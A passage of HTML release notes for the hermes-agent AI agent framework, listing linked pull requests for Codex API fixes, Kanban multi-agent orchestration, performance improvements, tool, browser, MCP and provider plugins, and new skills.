<li>Guard against external drift in <code>MEMORY.md</code> / <code>USER.md</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30877/hovercard">#30877</a>)</li>
<li>Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. (<a href="https://github.com/NousResearch/hermes-agent/pull/30077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30077/hovercard">#30077</a>)</li>
<li>Periodic memory logging for leak detection. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/17667" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17667/hovercard">#17667</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27102/hovercard">#27102</a>)</li>
</ul>
<h3>Codex / Responses-API maturation</h3>
<ul>
<li>TTFB watchdog for stalled Codex Responses streams. (<a href="https://github.com/NousResearch/hermes-agent/pull/32042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32042/hovercard">#32042</a>)</li>
<li>Actionable hint when stale-call detector fires on known silent-reject pattern. (<a href="https://github.com/NousResearch/hermes-agent/pull/32016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32016/hovercard">#32016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33133/hovercard">#33133</a>)</li>
<li>Drop SDK <code>responses.stream()</code> helper; consume events directly. (<a href="https://github.com/NousResearch/hermes-agent/pull/33042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33042/hovercard">#33042</a>)</li>
<li>Gracefully recover from <code>invalid_encrypted_content</code>. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/10144" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10144/hovercard">#10144</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33035/hovercard">#33035</a>)</li>
<li>Recover Codex Responses streams with null output. (<a href="https://github.com/NousResearch/hermes-agent/pull/32963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32963/hovercard">#32963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33390" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33390/hovercard">#33390</a>)</li>
<li>Drop foreign-issuer reasoning and transient <code>rs_tmp</code> reasoning replay state. (<a href="https://github.com/NousResearch/hermes-agent/pull/33156" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33156/hovercard">#33156</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33146" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33146/hovercard">#33146</a>)</li>
<li>Codex 429 quota classified as rate-limit, not missing credentials. (<a href="https://github.com/NousResearch/hermes-agent/pull/33168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33168/hovercard">#33168</a>)</li>
<li>Codex chat path falls back to credential_pool when singleton is empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/33189" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33189/hovercard">#33189</a>)</li>
<li>Codex re-auth syncs credential_pool. (<a href="https://github.com/NousResearch/hermes-agent/pull/33164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33164/hovercard">#33164</a>)</li>
<li>Omit <code>tools</code> key when no tools registered. (<a href="https://github.com/NousResearch/hermes-agent/pull/33409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33409/hovercard">#33409</a>)</li>
<li>Parse Codex image-generation SSE directly. (<a href="https://github.com/NousResearch/hermes-agent/pull/32933" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32933/hovercard">#32933</a>)</li>
</ul>
<hr>
<h2>🎛️ Kanban — Multi-Agent Maturation Wave</h2>
<h3>Orchestration &amp; dispatch</h3>
<ul>
<li>Orchestrator-driven auto-decomposition on triage. (<a href="https://github.com/NousResearch/hermes-agent/pull/27572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27572/hovercard">#27572</a>)</li>
<li>Kanban swarm topology helper — <code>hermes kanban swarm</code> creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/26791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26791/hovercard">#26791</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28443/hovercard">#28443</a>)</li>
<li>Dispatcher wires review agents from the review column. (<a href="https://github.com/NousResearch/hermes-agent/pull/28449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28449/hovercard">#28449</a>)</li>
<li>Stale-detection for running tasks in dispatcher. (<a href="https://github.com/NousResearch/hermes-agent/pull/28452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28452/hovercard">#28452</a>)</li>
<li>Respawn guard blocks repeat worker storms. (<a href="https://github.com/NousResearch/hermes-agent/pull/28455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28455/hovercard">#28455</a>)</li>
<li>Respawn guard defers <code>blocker_auth</code> instead of auto-blocking. (<a href="https://github.com/NousResearch/hermes-agent/pull/28683" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28683/hovercard">#28683</a>)</li>
<li>Cross-profile cron jobs surface in dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/28457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28457/hovercard">#28457</a>)</li>
<li>Worker visibility endpoints: <code>/workers/active</code>, <code>/runs/{id}</code>, <code>/inspect</code>. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/23761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23761/hovercard">#23761</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28432/hovercard">#28432</a>)</li>
</ul>
<h3>Task configuration &amp; scheduling</h3>
<ul>
<li>Per-task model override. (<a href="https://github.com/NousResearch/hermes-agent/pull/28364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28364/hovercard">#28364</a>)</li>
<li>Board-level default workdir. (<a href="https://github.com/NousResearch/hermes-agent/pull/28394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28394/hovercard">#28394</a>)</li>
<li>Configurable worktree paths and branches. (<a href="https://github.com/NousResearch/hermes-agent/pull/28462" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28462/hovercard">#28462</a>)</li>
<li>Scheduled task start times. (<a href="https://github.com/NousResearch/hermes-agent/pull/28384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28384/hovercard">#28384</a>)</li>
<li>Scheduled status for delayed follow-ups. (<a href="https://github.com/NousResearch/hermes-agent/pull/28467" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28467/hovercard">#28467</a>)</li>
<li>Trimmed task comments. (<a href="https://github.com/NousResearch/hermes-agent/pull/28399" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28399/hovercard">#28399</a>)</li>
<li>Initial-status for human-ops cards. (<a href="https://github.com/NousResearch/hermes-agent/pull/28414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28414/hovercard">#28414</a>)</li>
<li><code>max_in_progress</code> config to cap concurrent running tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28420/hovercard">#28420</a>)</li>
<li>Filter tasks by workflow fields. (<a href="https://github.com/NousResearch/hermes-agent/pull/28454" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28454/hovercard">#28454</a>)</li>
<li><code>--sort</code> for <code>hermes kanban list</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28427/hovercard">#28427</a>)</li>
<li>Optional <code>board</code> parameter on all MCP tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/28444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28444/hovercard">#28444</a>)</li>
<li>Stamp originating ACP session_id on tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28447" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28447/hovercard">#28447</a>)</li>
<li><code>auto_promote_children</code> config toggle. (<a href="https://github.com/NousResearch/hermes-agent/pull/28344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28344/hovercard">#28344</a>)</li>
<li><code>archive --rm</code> to hard-delete archived tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28355/hovercard">#28355</a>)</li>
<li>Promote dependents when parent is archived. (<a href="https://github.com/NousResearch/hermes-agent/pull/28372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28372/hovercard">#28372</a>)</li>
<li>Promote blocked tasks when parent dependencies complete. (<a href="https://github.com/NousResearch/hermes-agent/pull/28377" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28377/hovercard">#28377</a>)</li>
<li>Demote ready children when parent is reopened. (<a href="https://github.com/NousResearch/hermes-agent/pull/28382" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28382/hovercard">#28382</a>)</li>
<li><code>promote</code> verb for manual <code>todo→ready</code> recovery + bulk <code>--ids</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29464" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29464/hovercard">#29464</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31334" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31334/hovercard">#31334</a>)</li>
</ul>
<h3>Dashboard</h3>
<ul>
<li>Drag-to-delete trash zone + bulk delete. (<a href="https://github.com/NousResearch/hermes-agent/pull/28468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28468/hovercard">#28468</a>)</li>
<li>Surface per-task <code>model_override</code> in show + tool output. (<a href="https://github.com/NousResearch/hermes-agent/pull/28442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28442/hovercard">#28442</a>)</li>
<li>Cross-profile notification delivery via <code>kanban.notification_sources</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28395/hovercard">#28395</a>)</li>
<li>Scratch-workspace deletion warning for users. (<a href="https://github.com/NousResearch/hermes-agent/pull/30949" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30949/hovercard">#30949</a>)</li>
<li>Mobile dashboard UX polish. (<a href="https://github.com/NousResearch/hermes-agent/pull/28127" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28127/hovercard">#28127</a>)</li>
</ul>
<h3>Reliability</h3>
<ul>
<li>Worker log retention configurable. (<a href="https://github.com/NousResearch/hermes-agent/pull/27867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27867/hovercard">#27867</a>)</li>
<li>Configurable claim TTL. (<a href="https://github.com/NousResearch/hermes-agent/pull/28392" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28392/hovercard">#28392</a>)</li>
<li>Fingerprint crash errors to prevent fleet-wide retry exhaustion. (<a href="https://github.com/NousResearch/hermes-agent/pull/28380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28380/hovercard">#28380</a>)</li>
<li>Reset failure counters on <code>unblock_task</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28379/hovercard">#28379</a>)</li>
<li>Detect cycles in <code>decompose_triage_task</code> sibling-link pre-validation. (<a href="https://github.com/NousResearch/hermes-agent/pull/28088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28088/hovercard">#28088</a>)</li>
<li>Surface unusable triage auxiliary model (auto-decompose aware). (<a href="https://github.com/NousResearch/hermes-agent/pull/27871" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27871/hovercard">#27871</a>)</li>
<li>Align failure diagnostics with retry limit. (<a href="https://github.com/NousResearch/hermes-agent/pull/27868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27868/hovercard">#27868</a>)</li>
<li>Align worker terminal timeout with task runtime. (<a href="https://github.com/NousResearch/hermes-agent/pull/27864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27864/hovercard">#27864</a>)</li>
<li>Auto-install bundled skills (kanban-worker) on init. (<a href="https://github.com/NousResearch/hermes-agent/pull/28368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28368/hovercard">#28368</a>)</li>
<li>Make legacy task migration idempotent. (<a href="https://github.com/NousResearch/hermes-agent/pull/28397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28397/hovercard">#28397</a>)</li>
<li>Serialize DB initialization. (<a href="https://github.com/NousResearch/hermes-agent/pull/28383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28383/hovercard">#28383</a>)</li>
<li>Persist worker session metadata on completion. (<a href="https://github.com/NousResearch/hermes-agent/pull/28387" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28387/hovercard">#28387</a>)</li>
<li>Pass <code>accept-hooks</code> to worker chat subprocess. (<a href="https://github.com/NousResearch/hermes-agent/pull/28393" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28393/hovercard">#28393</a>)</li>
<li>Preserve worker tools with restricted toolsets. (<a href="https://github.com/NousResearch/hermes-agent/pull/28396" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28396/hovercard">#28396</a>)</li>
<li>Avoid unsafe Windows worker Hermes shim resolution. (<a href="https://github.com/NousResearch/hermes-agent/pull/28398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28398/hovercard">#28398</a>)</li>
<li>Sync slash subcommands with live parser. (<a href="https://github.com/NousResearch/hermes-agent/pull/28376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28376/hovercard">#28376</a>)</li>
<li>Show scheduled kanban tasks in dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/28400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28400/hovercard">#28400</a>)</li>
<li>Assign single-task kanban decompositions. (<a href="https://github.com/NousResearch/hermes-agent/pull/28401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28401/hovercard">#28401</a>)</li>
<li>Configurable <code>max_tokens</code> for kanban specify. (<a href="https://github.com/NousResearch/hermes-agent/pull/28374" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28374/hovercard">#28374</a>)</li>
<li>Per-job profile support for cron. (<a href="https://github.com/NousResearch/hermes-agent/pull/28124" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28124/hovercard">#28124</a>)</li>
<li>Codex app-server: include every Kanban-pinned path in <code>writable_roots</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28435/hovercard">#28435</a>)</li>
<li>Cache kanban worker guidance at session init for prompt-cache reuse. (<a href="https://github.com/NousResearch/hermes-agent/pull/28425" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28425/hovercard">#28425</a>)</li>
</ul>
<hr>
<h2>⚡ Performance</h2>
<ul>
<li><code>openai._base_client</code> import deferred — 240ms / 17MB off every CLI cold start. (<a href="https://github.com/NousResearch/hermes-agent/pull/28864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28864/hovercard">#28864</a>)</li>
<li>Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). (<a href="https://github.com/NousResearch/hermes-agent/pull/28866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28866/hovercard">#28866</a>)</li>
<li>Compression-feasibility check deferred — 170-290ms off every agent construction. (<a href="https://github.com/NousResearch/hermes-agent/pull/28957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28957/hovercard">#28957</a>)</li>
<li>Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. (<a href="https://github.com/NousResearch/hermes-agent/pull/29006" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29006/hovercard">#29006</a>)</li>
<li>Termux TUI cold start speedup. (<a href="https://github.com/NousResearch/hermes-agent/pull/29419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29419/hovercard">#29419</a>)</li>
<li>Termux non-TUI cold start speedup. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29438/hovercard">#29438</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30121/hovercard">#30121</a>)</li>
<li>Termux fast-path version + deferred bare-prompt agent startup. (<a href="https://github.com/NousResearch/hermes-agent/pull/30609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30609/hovercard">#30609</a>)</li>
<li>Cut hermes <code>--version</code> wall time 63% — flips head-to-head vs Codex CLI. (<a href="https://github.com/NousResearch/hermes-agent/pull/31968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31968/hovercard">#31968</a>)</li>
<li>Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. (<a href="https://github.com/NousResearch/hermes-agent/pull/27675" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27675/hovercard">#27675</a>)</li>
<li>Cache kanban worker guidance at session init for prompt-cache reuse. (<a href="https://github.com/NousResearch/hermes-agent/pull/28425" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28425/hovercard">#28425</a>)</li>
</ul>
<hr>
<h2>🔧 Tool System</h2>
<h3>Tool surface</h3>
<ul>
<li><code>patch</code>: indent preservation, CRLF preservation, per-file failure escalation. (<a href="https://github.com/NousResearch/hermes-agent/pull/32273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32273/hovercard">#32273</a>)</li>
<li><code>terminal</code>: warn at call time when <code>background=true</code> runs silently. (<a href="https://github.com/NousResearch/hermes-agent/pull/31289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31289/hovercard">#31289</a>)</li>
<li><code>terminal</code>: nudge homebrewed CI pollers at the tool surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/33142" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33142/hovercard">#33142</a>)</li>
<li><code>x_search</code>: surface degraded results + validate dates. (<a href="https://github.com/NousResearch/hermes-agent/pull/29484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29484/hovercard">#29484</a>)</li>
<li><code>x_search</code>: auto-enable toolset when xAI credentials are configured. (<a href="https://github.com/NousResearch/hermes-agent/pull/27376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27376/hovercard">#27376</a>)</li>
<li><code>computer_use</code>: route SOM/vision captures via auxiliary.vision. (<a href="https://github.com/NousResearch/hermes-agent/pull/30126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30126/hovercard">#30126</a>)</li>
<li><code>transcription</code>: reject symlinked audio inputs. (<a href="https://github.com/NousResearch/hermes-agent/pull/10082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10082/hovercard">#10082</a>)</li>
<li>TTS: prevent double <code>[pause]</code> in xAI auto speech tags. (<a href="https://github.com/NousResearch/hermes-agent/pull/32237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32237/hovercard">#32237</a>)</li>
<li>TTS: preserve native audio outside Telegram voice delivery. (<a href="https://github.com/NousResearch/hermes-agent/pull/28512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28512/hovercard">#28512</a>)</li>
<li>TTS: opt-in xAI <code>auto_speech_tags</code> speech-tag pauses for natural voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li>Voice: chunk oversized CLI recordings. (<a href="https://github.com/NousResearch/hermes-agent/pull/30044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30044/hovercard">#30044</a>)</li>
<li>Voice: honor <code>PULSE_SERVER</code> / <code>PIPEWIRE_REMOTE</code> inside Docker. (<a href="https://github.com/NousResearch/hermes-agent/pull/22534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22534/hovercard">#22534</a>)</li>
</ul>
<h3>Browser</h3>
<ul>
<li>All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/25580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25580/hovercard">#25580</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27403/hovercard">#27403</a>)</li>
<li>Auto-launch Chromium-family browser for CDP. (<a href="https://github.com/NousResearch/hermes-agent/pull/29106" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29106/hovercard">#29106</a>)</li>
<li>Docker: discover agent-browser Chromium binary at boot. (<a href="https://github.com/NousResearch/hermes-agent/pull/33184" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33184/hovercard">#33184</a>)</li>
</ul>
<h3>Image generation</h3>
<ul>
<li><strong>Krea</strong> provider plugin (Krea 2 Medium + Large). (<a href="https://github.com/NousResearch/hermes-agent/pull/33236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33236/hovercard">#33236</a>)</li>
<li>FAL backend ported to <code>plugins/image_gen/fal</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/27966" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27966/hovercard">#27966</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30380/hovercard">#30380</a>)</li>
<li>Cache xAI ephemeral URL responses to disk. (<a href="https://github.com/NousResearch/hermes-agent/pull/31759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31759/hovercard">#31759</a>)</li>
</ul>
<h3>Web search</h3>
<ul>
<li><strong>xAI Web Search</strong> as a provider plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong>Nous-approved MCP catalog</strong> with interactive picker. (<a href="https://github.com/NousResearch/hermes-agent/pull/30870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30870/hovercard">#30870</a>)</li>
<li><strong>TLS client certificate (mTLS) support</strong> for HTTP and SSE MCP servers. (<a href="https://github.com/NousResearch/hermes-agent/pull/33721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33721/hovercard">#33721</a>)</li>
<li>Stdin paste-back fallback for headless OAuth flow. (<a href="https://github.com/NousResearch/hermes-agent/pull/32053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32053/hovercard">#32053</a>)</li>
<li><code>skip</code> at paste prompt bypasses auth without disabling server. (<a href="https://github.com/NousResearch/hermes-agent/pull/32069" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32069/hovercard">#32069</a>)</li>
<li>Registry-aware <code>mcp_</code> prefix on both ends of round-trip. (<a href="https://github.com/NousResearch/hermes-agent/pull/31700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31700/hovercard">#31700</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skills system</h3>
<ul>
<li><strong>Skill bundles</strong> — <code>/&lt;name&gt;</code> loads multiple skills. (<a href="https://github.com/NousResearch/hermes-agent/pull/28373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28373/hovercard">#28373</a>)</li>
<li>Skills Hub: health checks, freshness badge, and a watchdog cron. (<a href="https://github.com/NousResearch/hermes-agent/pull/32345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32345/hovercard">#32345</a>)</li>
<li>Opt-in AST deep diagnostics on skill writes. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30918" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30918/hovercard">#30918</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31198" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31198/hovercard">#31198</a>)</li>
<li>Bundled/pinned skill protection in background-review prompts. (<a href="https://github.com/NousResearch/hermes-agent/pull/28338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28338/hovercard">#28338</a>)</li>
<li>Show user-modified skill names in bundled skill sync summary. (<a href="https://github.com/NousResearch/hermes-agent/pull/28671" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28671/hovercard">#28671</a>)</li>
<li>Load symlinked skill slash commands. (<a href="https://github.com/NousResearch/hermes-agent/pull/27759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27759/hovercard">#27759</a>)</li>
<li>Deduplicate Skills Hub search results by identifier, not name. (<a href="https://github.com/NousResearch/hermes-agent/pull/29490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29490/hovercard">#29490</a>)</li>
</ul>
<h3>New skills</h3>
<ul>
<li><code>openhands</code> — delegate-to-OpenHands orchestration skill (closes <a href="https://github.com/NousResearch/hermes-agent/issues/477" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/477/hovercard">#477</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>)</li>
<li><code>code-wiki</code> — persistent indexed dev wiki (closes <a href="https://github.com/NousResearch/hermes-agent/issues/486" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/486/hovercard">#486</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32240/hovercard">#32240</a>)</li>
<li><code>web-pentest</code> — OWASP recipes (closes <a href="https://github.com/NousResearch/hermes-agent/issues/400" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/400/hovercard">#400</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32265/hovercard">#32265</a>)</li>
<li><code>baoyu-article-illustrator</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/28287" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28287/hovercard">#28287</a>)</li>
</ul>
<hr>
<h2>☁️ Providers</h2>
<h3>xAI deep integration</h3>
<ul>
<li><strong>xAI Web Search</strong> as a <code>plugins/web/xai/</code> provider plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
